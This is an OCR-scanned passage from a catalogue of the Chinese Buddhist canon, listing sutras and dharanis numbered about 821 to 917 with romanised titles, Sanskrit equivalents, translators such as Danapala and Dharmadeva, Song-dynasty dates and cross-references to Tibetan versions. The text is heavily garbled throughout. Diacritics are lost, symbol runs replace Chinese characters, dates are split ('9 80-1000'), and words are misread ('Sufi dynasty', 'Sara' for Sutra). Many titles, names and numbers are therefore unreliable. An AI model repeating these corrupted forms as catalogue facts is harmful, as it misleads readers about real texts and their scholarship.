-hw-shi-pa4-y-ki-tho-^i.Sutra of the Gths of a hundred comparisons (or Avadna-sataka, composed by ?) Gayasena for converting the world(to the law of Buddha). 'Translated by Thien-si-tsi, A. D 9 80-1001, of thelater Sun dynasty, A. D. 9 60-1127. 10 leaves.The following five works were translated by Fra-thien(Dharmadeva I), A. D. 9 7 3 -9 8 I, of the later Sun dynasty,A. D. 9 60-1127 :821Liu-tao-ki-tho-ki. Sutra of the Gths on six paths. ' 8 leaves.The above two works are mentioned under theheading of the Works of the Indian Sages, in K'-yuen-lu,fasc. Io, fol. 6 b.822
i NOMio-phi-phu- sa-su-wan-kin.' Subhu-bodhisattva-pariprikkh-sutra. 'Subhu-pariprikkha.K'- yuen-lu, fasc. 5, fol. 18 b. ; Conc. 3 61. 4 fasciculi.This is a later translation of No. 53 1. It agrees withTibetan. K'-yuen-lu, s. v.823 VD'41Fo-shwo-pi-lchu-wu-f-kin. (h)' Buddhabhshita-bhikshu-pakadharma-sutra. ' 3 leaves.824 a Fo-shwo-pi-khu-ki-sh'-ki-shi-fa-kin. (h) Buddhabhshita-bhikshuka-siksha (?)-dasadharma-sutra: 3 leaves.The above two works are mentioned under theheading of the Vineya of the Hinayana, in K'-yuen-lu,fasc. 8, fol. 20 a.825' rogKu-fo-sin-yin-tho-lo-ni-ki.' Sarvabuddha-hridaya-mdr-dhrani-sutra. 'Buddhahridaya-dhrani.This is a later translation of No. 489 . Deest inTibetan. i' ^ yuen-lu, fasc. 6, fol. 3 a. But see No. 489 .2 leaves.The following two works were translated by Sh'-hu(Dnapla I), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 60I127:826 *WAITitlaTA-sha-po-yueh-thu-tsz'- wan-f-kin.' Mahyna-ratnakandra-kumra-pariprikkh-dharma-sutra.5 leaves.Deest in Tibetan. K' -yuen-lu, fase_ q. ,_fol, 13 a.827Fo-shwo-lien-hw-yen-tho-lo-ni-ki.'Buddhabhshita-pundarlkakakshur-dhranl-sutra: i leaf.Deest in Tibetan. K'-yuen-lu, fase. 5, fol. 24 1_),828tag '1Fo-shwo-kwli-sian-fo-mu-pan-zo-po-lo-mi-to-phu-s -kill.' Sutra spoken by Buddha on meditating on and thinking of theBodhisattva Buddhamtrika-pragpramit (?). 'Translated by Thien-si-tsi, A. D. 9 80-1001, of thelater Sun dynasty, A. D. 9 6o - 1. 127. 3 leaves. Itagrees with Tibetan. K'-yuen-lu, fasc. 1, fol. 18 b.The following four works were translated by Sh'-hu(Dnapla ?); A. D. 9 80-1001, of the later Sun dynasty,A. D. 9 60-1127 :Ail Ma19 119 2SUTRA-PITAKA.829 -Ratp k:Jung ,ttgF-shwo-zu-i-mo-ni-tho-lo-ni-kiti.' Buddhabhshita-p. 'Padmakintmani-dhrani-stra.Conc. 247 a. 4. leaves. This is a later translationof Nos. 3 2 1 -3 24. K'-yuen-lu, fase. 4, fol. 20 b.83 0 S1 ^ T41Fo-shwo- shan-t-tsun-kh'- w-ki.Buddhabhshitrya-mahdhranirga-s(itra. ' 4leaves.83 1 Oat & I. . ,. n t.. X41Fo-shwo-tsi-sh-i-tho-lo-ni-ki.` Buddhabhshita-anuttaramati-dhrant-sfltra: 6 leaves.83 2 Pt qi t oil 01 /Fo-shwo-kh'- mi-ts-p- t-tsu-kh'- w-ki.Buddhabhshita-prabhdhara-pitaka (or -garbha)-ashtamah-dhranirga-sfltra: 7 leaves.The above three works are wanting in Tibetan.K'-yuen-lu, fsc. 5, fol. 22 b seq.83 3 MShan-wu-nan-sha-kin-k-hwo-tho-lo-ni-kin.` rya-durgaya-vagrgni-dharant-sfltra:Translated by Fa-thien (Dharmadeva 4), A. D. 9 73 -9 81, of the later Sun dynasty, A. D. 9 60-1127. 5 leaves.It agrees with Tibetan. K'-yuen-lu, fasc. 5, fol. 25 b;The following five works were translated by Sh'-hu(Dnapla `l), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 6o-1127 :-83 4 T,:d. AFo-shwo-tsun-shah. -t-min-w=ki. .Buddhabhshita-ryottama-mahavidyrga-sfltra. ' 4leaves.Deest in Tibetan. K'-yuen-lu, fasc. 6, fol. 4 a.83 5 W
i ' . ` ^^,. .^g ^,Fo-shwo-k'- kwfa-mieh-yi-tshi-yeh-k^i-tho-lo-ni-ki.It' Buddhabhshita-granolk-sarvagati-pariaodhana-dhrani-sQ tra. 'Gnolk-dhra ni- sarvagati-parisodhan4.This is a later translation of No. 49 6. Deest inTibetan. K'yuen-lu, fasc. 5, fol. 23 a. But see No. 49 6.83 6 T0 It tp ,glk iFo-shwo-zu-i-po-tsu-kh'-w-ki.Buddhabhshita-kint(mani)-ratna-dhrani-raga-sfltra. ' 4leaves.It agrees with Tibetan. K'-Yuen-lu, fase. 4, fol. 12 b.83 7 Pt * ri / fitFo-shwo-ta-tsz'- tsi-thien-tsz'- yin-ti-kin.'Buddhabhshita-maliesvara-devaputra-hetubhflmi-sfltra. ' 9 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 4, fol. I1 b.83 8 TI(JFo-shwo-po-sha-tho-lo-ni-kin.'Buddhabhshita-ratnagta-dhrani-sutra. ' 2 leaves.83 9 - Fo-shwo-shi-ho-ki.' Sara spoken by Buddha on the ten names or epithets (ofBuddha). 'Translated by Thien-si-tsi, A. D. 9 80-1001, of thelater Sun dynasty, A. D. 9 6o-112 7. 3 leaves. It. agreeswith Tibetan. . K'-yuen-lu, fasc. 4, fol. 12 a.840 10PerFo - wi- so,- ki - lo- lu-w - su - shwo-ta-sha-f-ki.' Sara addressed by Buddha to the Ngarga Sagara on the lawof the Mahyna. 'Sagara-ngarga-pariprikkha-stra.K'- yuen-lu, fasc. 4, fol. 13 b ; Conc. 178. Translatedby Sh'. hu (Dnapla l), A. D. 9 80-1000, of the laterSun ' dynasty, A. D. 9 60-1127. 10 leaves. It agreeswith Tibetan. K'-yuen-lu, s. v. No. 840 is mentionedunder the heading of the Vinaya of the Mahyna, inK'- tsiri, fasc. 3 2, fol. 5 a. ,
. . ^^1E1^^=-^^;^: ^gFo-shwo-phu=hhien-phu-sa-tho-lo-ni-kin.`Buddhabhshita-samantabhadra-bodhisattva-dhrani-sfltra. 'Translated by Fa-thien (Dharmadeva I), A. D. 9 73 -9 81, of the later Sun dynasty, A. D. 9 6o-1127. 3 leave,.Deest in i''betan. K'- yuen-lu, fasc. 5, fol. 21 b.The folio ing two works were translated by Sh'-hu(Dnapla /), A. D. 9 80-1000, of the later Sufi dynasty,A. D. 9 60I 27 :1 ll,a841 T19 3 . STRA-PITAKA. .
19 4842 *lJW .dtt gT-kin-kn-mio-ko-shn- leu-kwo-tho-lo-ni-kin.Mahvagrameru-sikhara-ktagra-dha-rant (-stra).K'-yuen-lu, fasc. 6, fol. i b ; Conc. 626 ; A. R. , p. 53 9 ;A. M. G. , p. 3 3 7. Io leaves. It agrees with Tibetan.K'-yuen-lu, s. v.843 '%C0^ ^ ^. WPM n^. :Kwn-t-lien-hw-kwn-yen-man- n-lo-mieh-yi-tshi@-tsi-tho-lo-ni-kin.' Maha-pundarikavyuha-mandala-sarvapap-vinsa-dhrani-stra. 'r 1 - leaves.844 POt 14'Fo-shwo-t-mo-li- k'-phu-s-ki-n.Buddhabhashita-mah mariki-bodhisattva-sutra. 'Translated by Thien-si-tsi, A. D. 9 8oIoo1, of thelater Sun dynasty; A. D. 9 60-1127. 7 fasciculi. Itagrees with Tibetan. . K'-yuen-lu, fasc. 5, fol. 17 a.The following two works were translated by Amogha-vagra, A. D. 7 46-771,, of the Than dynasty, A. D. 6 is-9 0 7 :-845 on* t VAFo-shw-mo-li-k'-thi-pho-hw-mn-kin.Buddhabhashita-martkt-devi-pusbpaml-sutra. '14 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4,fol. Io a. But see No. 847.846 41Fo-shwo-mo-li-k'-chien-kin.Buddhabhashita-marfki-devi-sutra. '5 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 5,fol. 17 a.847 ARMIO xXIti XrAflFo-shwo-mo-li-k' -thien-tho-lo-ni-kheu-kin.Buddhabbashita-mar1ki-devi-dhrani-mantra-sutra. 'Martkiye (Marki ?)-dhrant.A. R. , p. 518 ; A. M. G. , p. . 3 18. Translated underthe Lili dynasty, A. D. 502-557 ; but the translator'sname is lost. 2 leaves. This is an earlier translationof a part of the Marikt-stra in fasc. Io of No. 3 63 .K'-yuen-lu, fasc. 4, fol. 23 a.But, according to K'-tsi (fasc. 14, fol. 2 3 b), theabove three works are earlier translations of a part ofNo. 844.The following five works were translated by 11-thien(Dhaimadeva I), A. D. 9 73 g81, of the later Sun dynasty,A. D. 9 60-1127848'`MFo-shwo-khn-k-k'-po-kin. (h)` Buddhabhashita-sreshtki- danaphala-sutra:8 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 7,fol. 27 a. But, according to K'-tsi (fasc. 28, fol. 18 a),this is . a later translation of the Sudatta-stra in theMadhyamgama, i. e. No. 542 (155).849 f4ilkPii Fo-shwo-phi-sh-ma;n-thien-wn-kin.' Buddhabhashita-vaisramana-divyaraga-sutra. '9 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 5,fol. 20 a.850Phi-pho-sh' -fo-kin. (h)Vipasyi-buddha-sutra. '2 fasciculi. It agrees with Tibetan. K'-yuen-lu,fase. . 8, fol. i'b. According to K'-tsi (fasc. 2 9 , fol. 5 a),this is a later translation of the latter part of the,Mahnidna-stra in the Drghgama, i. e. No. 545 (0.851g jC= } ,finFo-shwo-t=san-mo-zo-kin. (h)' Buddhabhashita-mahasmaya-sutra. '6 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 7,fol. 26. b. But, according to K'-tsi (fasc. 29 ," fol. 7 b),this is a later translation of the Mahsamaya-stra inthe Drghgama, i. e. No. 545 (15).852. YtFo-shwo-yueh-kwn-phu-sil-kin. (h)' Buddhabhashita-kandraprabha-bodhisattva-sutra. 'gandraprabha-bodhisattvvadna-stra.K'-yuen-lu, fasc. 4, fol. 14 b; Conc. 869 ; A. R. , ,p. 482 ; A. M. G. , p. 286. 6 leaves. It agrees withTibetan. K'-yuen-lu, s. v.The following six works were translated by Sh'-hu(Dnapla 4), A. D. 9 80-1000, of the later Suit dynasty,A. D. 9 60-1127: --19 5StTRA-PITAKA. 19 6853 fil M A V V 4igFo-shwo-phu-hhien-mn-na-lo-ki.Buddhabhsliita-samantabhadra- mandala-sutra. 'I o leaves. Deest in Tibetan. K'-yuen-lu, fasc. 5,fol. 18 b.854 . ist *Fo-shwo-sha-kw-yen-tho-lo-ni-kiii.' Buddhabhshita-rya-vyuha-dharant-sutra:2 fasciculi. Deest in Tibetan. K' -yuen-lu, fasc. 5,fol. 20 b.855
71/4 ^9 /Vt*Fo-shwo-sha-liu-tsz'-t-miri-wli -tho-lo-ni-kifs.' Bnddhablrshita-rya-shadakshara-mahvidy-rga-dhram4sutra. '2 leaves.856 f'** 19 / Ma t nigTshien-kw-t-miii-tho-lo-ni-ki.` Sahasrapravartana-mahavidya-dharant-sutra. '4 leaves.857it rAnt It ,^Fo-shwo-hw-tsi- leu-kwo-tho-lo-ni-kiii.'Buddhabhashita-pushpakuta-vimana-dharant-sutra. 'Pushpak a-dhrani.K'-yuen-lu, face. 5, fol. 23 a; Conc. 203 ; A. R. ,p. 526; A. M. G. , p. 3 25. 4 leaves. This is a latertranslation of Nos. 3 3 7-3 89 . K'-yuen-lu, s. v. ; K'-tsi,face. 1 3 , fol. I a.858 14*kigFo- shwo- sha-f-yi-lo-tho-lo-ni-ki><'i.' Buddllabh shita-gayadhvagama11-dharant-siltra. '3 leaves.859 '' ' Jp 'Xu-hh-mo-h(h)Samadatta-rnaharaga-sutra. 'Translated by 11-hhien, A. D. 9 82-1001, of the laterSun dynasty, A. D. 9 60I 14. i3 fasciculi. Deest inTibetan. K'-yuen-lu, fasc. 7, fol. 26 a. It contains ahistory of Skyamuni, from the origin of the world,and a list of his ancestors, beginning with the firstlord of the field' or ruler, San-mo-ti-to-w, i, e.Samadatta-rga (fast. I, fol. 6 a, col. 5 seq. ), and endingwith Buddha's visit to his father after his becoming theenlightened, and his telling the story of a former king ofVrnas, Brahmyus by name. In the Chinese title,the first two characters oPIT Ii-u-hhii, ' multitude-assent,' are used for a translation of the name Sama-datta. The celebrated Pszepa explains this name inhis work entitled Ka-su-k'-lun (No. 13 2o, face. 1, fol.1 9 b). He says, ' The ruler was called Ti-sin mo-to-w,i. e. Mah-Samadatta-raga, because he was chosen tobecome so (or elected as the first lord) by the multi-tude. ' He uses the three characters o't q Ku-su-hh, ' he who is chosen by the multitude,' bothfor the explanation and translation of the name Sama-datta. The first and third characters of' this term areexactly the same as 'the first two characters in thepresent title as above mentioned; while the second one,Pfisu, is merely a sign of the passive voice. Then thenext three characterspp '
i^gatFo-shwo-pien-ko-pan-zo-po-lo-mi-kin.13 uddhabbashita-samantaprak sam6,na-pragxiAparamit-sutra. 'Translated by Sh'-hu (Dnapla 1), A. D. 9 80-1000,of the later Sufi dynasty, A. D. 9 60-1127. 8 leaves.Deest in Tibetan. K'-yuen-lu, fasc. 1, fol. 19 a. ButNo, 862 is to be compared with the Tibetan version ofthe Pragai pramit-vagrapni, mentioned in A. R. ,p. 3 9 7; A. M. G. , p. 203 , No. 862 addressed byBuddha to the Bodhisattva Vagrapni. K'-tsiA,fasc. 12, fol. 7 b.The following two works were translated by F-hhien, A. D. 982I00I, of the later Sun dynasty, A. D.9 60I I27 :-863 ,^;. kAt ,Fo-shwo-t-sha-wu-liar-sheu-kw-yen-kiff.Bud dh abh shita-mah yn mi t yur-vy aha-s atra. 'Amityusha-vyttha, or Sukhvat-vyt . ha.Cf. No. 23 (5). 3 fasciculi. This is the last trans-lation of this S$tra, similar to Nos. 23 (5), 25, 26, 27.K'-yuen-lu, fasc. 4, fol. 1I a; K'-tsifi, fasc. 3 , fol. 12 b.864. VON.W^^^'^^^^^h^r,, . ^^_,41Fo -mu- po-th-ts- pan -zo- po-lo-` Buddhamtrika-ratnagunagarbha-prag p ramitii-s{ttr. a. 'Pragpramit-sakayagth.A. R. , p. 3 9 5 ; A. M. G. , p. 201. 3 fa eiculi.The following four works were translated by Sh'-hu(Dnaplal), A. D. 9 80I000, of the lr. ter Su dynasty,A. D. 9 60-1127 :--865 S ^ . 1 1 St X"ftJti`^Fo-shwo-ti -shih- pan -zo- po- 1 0-mi =to-sin-kiii.' Buddhabhshita-indra-sakra-pragtiipramit8-hridaya-satra. 'Kausika-pragpramit.A. R. , p. 514 ; A. M. G. , p. 3 14. 5 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 1; fol. 19 a. See, how-ever, the authorities mentioned under the title.866S. A SFo-shwo-ku-fo-ki. (h)' Sutra spoken by Buddha on Buddhas.'4 leaves. It agrees with Tibetan. K'-yuen-lu,fase. 4, fol. I 1 b. According to K' -tsifi (fasc. 29 , fol. 17 b),this is a later translation of the first chapter ofNo. 680.867 jC * >1 y rsiTa-shah-sh-li-so-tan-and-kiii.' Mahyna-slisambhava-sutra. 'Slisambhava-sutra.Conc. 565 reads the sixth character tan as ayen, which latter seems to be right, though the formeris given in Vie Chinese authorities. 8 leaves. This isa later translation of Nos. 280, 281, 818. K'- Yuen-lu,fase. 4, fol. I2 b.868 lAao.1 41 1 1 4, ;ffeJFo-shwo-t-ki-k-hhi-tho-lo-ni-ki.' Buddhabhshita-mahvagragAndha-dhrant-stItra. '4 leaves. Deest in Tibetrin. K'-yuen-lu, fasc. 5,fol. 24 b.869 a -L AG iil AITTsui-shfi-ta-sha-ki1-k-ta-kio-po-wni-kin.' Anuttara-mandyna-vagra-mahtantra-ratnarga-sutra. 'Vagragarbha-ratnarga-tantra.K'- yuen-lu, fase. 5, fol. x6 b ; Conc. 781. Trans-lated by Fit-thien '(Dharmadeva l), A. D. 9 73 -981 , ofthe later Sufi dynaety, A. D. 9 60I 127. 2 fasciculi.It agrees with Tibetan. K'-yuen-lu, s. v.870 ;; ,11F'Fo-shwo-s-po-to-su-li-y-nh-ye-kin. . (h)' Buddhabhitshita-saptasitryanaya-sutra:Translated by F-hhien, A. D. 9 82-1001, of the laterSun dynasty, A. D. 9 60-1 127. 4 leaves. It agreeswith Tibetan. K'-yuen-lu, fase. 8, fol. 4:b. Accord-ing to K'- tsiri (fase. 28, fol. 1 o b), this }s a latertranslation of the Saptasarya-stra in the Madhyam-ma, i. e. No. 542 (8).The following two works were translated by Fa - thien(Dharmadeva l), A. D. 9 73 -981 , of the later Sun dynasty,A. D. 9 60-1127 :-871 * 2Fo-shwo-yi-tshi-zu-li-wu-seh-nf sh-taut-sha-tsu-kh'-ki.Buddhabhashita-sarvatathgatoshnisha-vigaya-dhrant-sutra. 'Sarvadurgati-parisodhanoslinlsha-vigaya-}dhrant.9 leaves. This is a similar translation of Nos. 3 48-3 52, 796. K'-yuen-lu, f c. 5, fol. 24b.Os19 9 STRA-PITAKA.200872Phu-thi-sin-kwn-ship.Bodhihridaya-dhyaya-vyakhy a. '3 leaves. This work is mentioned under the headingof the Works of the Indian Sages, in K'-yuen-lu,fasc. 10, fol. 4b.The following seven works were translated by Sh'-bu,(Dnapla 2), A. D. 9 80-1 000, of the later Sufi dynasty,A. D. 9 60-1 1 27 :-873 S R. 4
Per AFo-shwo-hu-kwo-tsun-kd-su-wan-ti-shah. -kin.Buddhabhashita-arya-rashtrapala-pariprikkka-mahayana-sfltra:Rashtrapala-pariprikkk.4 fasciculi. It agrees with Tibetan. K'-yuen-lu,fasc. 4, fol. x I a. According to K'-tsifi (fasc. 3 , fol. 14 a),this is a later translation of No. 23 (i8).874
PFo-shwa-sz'-wu-su-wi-ki. (h) Sfltra spoken by Buddha on four kinds of fearlessness(Vaisaradya). '2 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 4,fol. II b.^ . ,875;=. ,-r/f JtIttlTsa-hwi-tho-lo-ni-ki.6 GeAnavriddhikara-dharani-sfltra. 'I leaf.*3. . . ,876 . ^^''_ 0MICi ^^sha-liu-tsz' -ts-sheu-t-mi-tho-lo-ni-kin,' rya-shadaksharayurvriddhikara-mahvidy-dharani-sfltra. '2 leaves.877ii 4Fo-shwo-t-sha-ki-ki.' Buddhabhashita-mahayana-sala-sfltra. '2 leaves. Deest in Tibetan. K' -yuen-lu, fasc. 8,fol. 71), where this work is mentioned under the head-ing of the Vinaya-pitaka of the Mahyna.878ra . a mire lti 41Fo-shwo-sha-tsui-sha-tho-lo-n^-ki.B iddhabbAshita-AryAnuttaravigaya-dharaani-sfltra. '5 leaves, Deest in Tibetan. K'-yuen-lu, fasc. 6,fol. I a. This is perhaps a similar translation of No.831 . K'-tsin, fsc. 14;,% fol. 5 a.879 VD X. RAMR gnt: V411Fo-shwo-wu-shi-sun-sha-pan-zo-po-lo-mi-kin.' Buddhabhashita-pakasedgtharya-prage4paramita-sQ tra.Pragpramit ardhasatik.A. R. , p. 3 9 6 ; A. M. G. , p, 201. Cf. No. 1 8. 2 feaves.It agrees with Tibetan. K'- Yuen-lu; fasc. I, , fol. i8 b.The following forty-six works, Nos. 88o-9 25, weretranslated by FA-hhien, A. D. 9 82Ioo. i r of the laterSun dynasty, A. D. 9 60I 127.880 jCAA*11-gt^Tsha-p-t-man-n-lo-kin.' Mahayauashtamahamandala-sfltra. 'Ashtamandalaka-sAtra.K'yuen-lu, fasc. 5, fol. I2 a; Cone. 579 ; A. R. ,p. 51 I ; A. M. G., p. 31 2. 2 leaves. It agrees withTibetan. K'-yuen-lu, s. v.881cX 1 alg 1 ,Fo-shwo-kio-lia-yi-tshi-fo-kh-ku-th-ki.Sfltra spoken by Buddha on comparing and measuring thegood qualities of all Buddha-kshetras. '2 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 4,fol. 12 a. ' According to K'tsin (fasc. i, fol. io a), thiswork is a similar translation of No. 9 5. But theprincipal speaker of No. 9 5 is the Tathgata, and thatof No. 881 is the Bodhisattva Akintyaprabhsarga.882 ,l^l^,^rVittMA`NAO41Lo-foh-na- shwo-kiu-lio-sio-'rh-tsi-pi-kin.` Stara spoken by Ravana on the curing of the disease of a child. 'ix leaves. Deest in Tibetan. K'-Yuen-lu, fasc. 5,fol. 19 a.883 pVS An *Ail,^i-yeh-sin-zn-shwo- i-nii-zan-kin. (h)Sfltra spoken by the Rishi Kasya(pa ?) on the curing (of thedisease of) a woman. '4 leaves. Deest in Tibetan; K'-yuen-lu, fasc. 8,fol. 4 b.^r':' Kitt^:884^s,' ^^rr ,^^,;
:RigFo-shwo-kii-k' -lo-tho-lo-ni-kin.`B3 ddhabhashita-k-k'-lo (n-dharani-sQ tra. '2 leaves.201SfJTRA-PITAKA. 2028$5 ftttii45--PIRIVWt41Fo-shwo-sio-kku-yi-t shi-tsM-k-po-ki-th-lo-ni-kiri.'Stara spoken by Buddha on the Ratnakd(mani ?)-dharanlof destroying all obstacles and misfortunes'5 leaves.886 Totftwant: ,E641Fo- shwo-mio-^ eh-tho-lo-ni-ki.' Bddhabhashita-suvarna-dharani-sfltra. 'i leaf.887it 14 illItFo- shwo-k-thn-hhi-shan-tho- lo-ni-ki.Buddhabhashita-kandangandhakaya-dharanl-s. fltra:2 leaves.. ;. ^^ .888 Ph w^. ^"^"^^^^^^^g4I+- ihCB ^gFo. -shwo-poh-ln- n- sh-foh-li-t-tho-lo-ni^-ki.' Buddhabhashita-pran. asabala (?)-mahadharanl-sQ tra. '3 leaves.889 Toravatno:' , ms4Fo-shwo- su-mi-k'-tho-lo-ni-ki.' Buddhabhashitarpilrvanivasanus'mritigana-dhdrani-sfltra:i leaf.89 0*
t41Fo-shwo-tshz'-sh'-phu-s-shi-yuen-tho-lo-ni-ki.' Buddhabhshita-maitreya-bodhisattva-pranidhana-dharanl-siltia. 'Maitr4-pratig-dhranf .K'- yuen-lu, fasc. 5, fol. 24 a ; Conc. 76o ; A. R . ,p. 528; A. M. G. , p. 3 27. i leaf.89 1 citatAIYAA*tttt^ ^ ..;
I^ G ^^41Fo-shwo-mieh-kku- wu-ni-tsi-t-tho-lo-ni-ki. .' Buddhabhashita-pakanantaryakarmavinasa-dharanl-s{itra. 'i leaf.89 2 SR1t /1^' R+ '1 ` sFo-shwo-wu-liii. -ku-th-tho- lo-ni-ki.' Buddhabhashitamitaguna-dharanl-sAtra. 'i leaf.89 3 SM-FAWIStE1+ -^TIFo- shwo-shi-pa- phi-tho-lo-iii. -kin.' Buddhabhshita-ashEadasabahu-dharanl-stra. '2 leaves.89 4 fe w^* A lt 7iFo-shwo-l-kk-tho-lo-ni-ki.' Buddhabhashita-laksha-dharanl-sfltra. '.2 leaves. 89 5? wM e t` giaFo-shwo-phi-kku-ku-oh-tho-lo-ni-kill.Buddhabhashita-sarvapapavinasa-dharanl-stra:2 leaves.The above twelve works are wanting in Tibetan.K'- yuen-lu, fasc. 5, fol. 23 b seq. But, for No. 89 0,see the last two authorities mentioned under the title.89 6at *Re A:' )Fo-shwo-t-i-tho-lo-ni-ki.'Buddhabhashita-mahapriya-dharanl-sfltra. '2 leaves. It agrees Tibetan. K'-yuen-lu, fasc. 5,fol. 22 b.89 7 1,b. '-ftFo-shwo--lo-han-kii-th-kill. (h)`Sfltra spoken by Buddha on the perfect good qualities ofthe Arhat. 'pp leaves. This is a later translation of chapters4th-7th of the Ekottargama, i. e. No. 543 . K'-yuen-lu,fasc. 8, fol. z a, where, however, it is stated that thiswork is wanting in Tibetan.89 8 g ?a, A-A; i ^: ^^ 44Fo-shwo-p-t^,-liii-th-mini-ho-kiYi. (h)'Stara spoken by Buddha on the names of eight great andauspicious Kaityas. '2 leaves. This vvvrk . is mentioned under the headingof the Works of the Indian Sages, in K'-yuen-lu, fasc.10, fol. 5 b, where the first two characters of the titleFo-shwo or. Buddha-bhshita are of course left out.They are however retained in K' -tsi, fasc. 3 1, fol. 22 b,where the work is under the heading of the Stras ofthe Hinayana.203 StTRA-PITAKA. 204The following are the names of the eight placeswhere the great and auspicious Kaityas are said tohave been erected(i) Lumbint garden, in Kapilavastu, where Buddha was born.(Cf. Lalitavistara, p. 9 4; Cunningham, Ancient Geography ofIndia, pp. 414-416. )(2) Underneath the Bodhi-tree (at Buddha-gay), on the bankof (or near) the river Nairaf gana, in Magadha, where Buddhaawoke to the perfect knowledge. (Cunningham, pp. . 455-459 . )(3 ) Varanasi. (Benares), in the country of the Ksis, whereBuddha (first) turned the wheel of the law, i. e. he began to preach.(Lalitavistara, pp. 527-528 ; Cunningham, pp. 43 5-43 8. )(4) Geta-grove, in Srvastt, where Buddha showed his greatsupernatural power. (Cunningham, pp. 407-414. )(5) Kh-n, ' hump-backed maiden,' i. e, Knyakubga (Kanog),where Buddha descended from the Trayastrimsa heaven. (Cun-ningham, pp. 3 76-3 82. But the more exact place is Sarikisa orKapitha. See Cunningham, pp. 3 69 -3 76. )(6) Rgagriha, where Buddha taught his disciples, whosedivision (also took place there (?). Cunningham, pp. 467-468).(7) Kwaii-yen, ' wide-array,' i. e. Vaisalt, where Buddha thoughtof the length of his life. (Cunningham, pp. 443 -446. For Buddha'sspeaking to nanda concerning the length of his life, see Hhen-kwfi an's (Hiouen-thsang's) Si-y-ki, fase. 7, fol. 13 a seq. )(8) Sala-grovewithin which is the place between large couplesof treesin Kusinagara, where Buddha entered Nirvana. (Cun-ningham, pp. 43 0-43 3 )89 9 i Fo-shwo-faun-n-ki.Sutra addressed by Buddha to (the venerable) Sunda. '6 leaves. It agrees with Tibetan. K'- yuen-lu, fasc. 4,fol. a4 a _9 00 SaViO y, . IN Fo-shwo-phin-pho-s-lo-w-ki. (h)' Stitra addressed by Buddha to King Bimbisra. '7 leaves. It agrees with Tibetan. K'-yuen-lu, fasc.8, fol. i a. According to K' - tsiti (fasc. 28, fol. 12 a),.this is a later translation of the Stra on KingBimbisra's coming to meet Buddha. , in the Madhya-mgama, i, e. No. 542 (62).9 01
aAT^Fo-shwo-zan-sien-ki. (h)Buddhabhshita-ganesa-sutra. '9 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 8,foL 4 a. But according to K'-tsi (fase. 29 , 'fol. 6 a),this is a later translation -of the Ganesa-sutra in theDirghagama, i. e. No. 545 (4)9 02^. :.
;,'fraFo-shwo-iu-khan-y-ki.Sutra spoken by Buda. . a on the old city comparison. '6 leaves. This work is mentioned under the headingof the Stras of the Hinayana, in K'-yuen-lu, fasc. 8,fol. 3 b, where it is said to agree with Tibetan. Butaccording to K'-tsiti. (fasc. Io, fol. i 'b), this is a latertranslation of Nos. 278, 279 , which are Stras of theMahayana.9 03 Sw 1 t . AFo-shwo-sin- kie-k'-li-ki. (h)Buddhabhshita-adhimukta-gna-bala-sutra:7 leaves. It agrees with Tibetan. K'-Yuen-lu, fasc.fol. 27a.9 04^C ^ ^. ,T-ka-kii-w-ki. (h)Mahsatpda (?)-rpa-sutra. '2 fasciculi. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. 2 b. But according to K'-tsiil (fasc. 28, fol. 1 2 b),this is a later translation of the Pi-sh' (rpa)-stra inthe Madhyamgama, i. e. No. 542(7i).9 05Fo-shwo-span-yo-kh-k-kin.Sutra addressed by Buddha to the Sre ^ hthin Svsaya (1 " good-inclination ").4 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 5,fol. 22 b. But according to K'-tsi (fasc. 13 , fol. 1 2 a),this is a later translation of No. 9 82.906 'MAMA:* ,Fo-shwo-shaii-to-lo-phu-sa-ki.Buddhabhshita-$rya-tara-bodhisattva-sutra,'7 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 5,fol. 19 b.9 07A A ia rit t: 121 41Fo-shvvo-t-ki- si-tho-lo-ni-ki.` Buddhabhshita-mahsrt-dhrani s tra. '2 leaves.908' Ratnabhadra-dhrant-sutra:2 leaves.The above two works are wanting in Tibetan.K'-yuen-lu, fasc. 6, fol. i a.n**AZIX*. ;f,: 1244Fo-shwo-pi-mi-p-mi-tho-lo- ni-kii^.' Bddhabhshita-guhyshtanma-dhrant-sutra,'9 09205STRA- PITAKA. 2062 leaves. It agrees with Tibetan. K'-yuen-lu, fasc. 6,fol. i b. According to K'-tsiri (fasc. 13 , fol. 18 b),this is a later translation of No. 49 1.91 0Kwn-tsz'-tsi-phu-sit-mu-tho-lo-ni-kin.' Avdlokitesvara-bodhisattva-mtri-dhrant-sfltra. 'Avalokitesvara-mati (or mtri ?)-dhra'n.A. R. , p. 53 4 ; A. M. G. , p. 3 3 1. 3 leaves. Deestin Tibetan. K'-yuen-lu, fasc. 6, fol. 2 b. See, how-ever, the authorities mentioned under the title.9 11feFo-shwo-ki-hhi-kin. (h)'Buddhabhshita-siiagandha-sutra. '2 leaves. Deest in Tibetan. K'-yuen-lu, fasc. 8,fol. 3 b. But according to K'-tsi (fasc. 22, fol. 1 2 b),this is a later translation of No. 588.91 2 *gIt: Ire kiFo-shwo-mio-ki-sin-phu-s-tho-lo- ni.' Buddhabhshita-ma^agusrt-bodhisattva- dhrant'3 leaves.^
:'91 3,,,. ^^:it^v ^ , Fo-shwo-wu-lin-sheu-ta-k' -tho-lo-ni.' Buddhabh^ hita-amityur-mahgrana-dhrant. '7 columns.91 4 SIS lit'Fo-shwo-su-min-k'- tho-lo-ni.' Buddhabhshita-pflrvanivsagna-dhrant. '4 columns.9 15 itekVFo-^ hwo-tshz'- sh'-phu- sa-tho-lo-ni.'Buddhabhshita-maitreya-bodhisattva-dhrant. '4 columns. _9 1. 6 '%x:Fo-shwo-hh-khuli-tsn-phu- s-tho-lo-ni.'Buddhabhshita-ksagarbha-bodhisattva-dhrant'6 columns.The above five works are wanting in Tibetan. K'-yuen-lu, fasc. 5, fol. 26 a seq.9 17
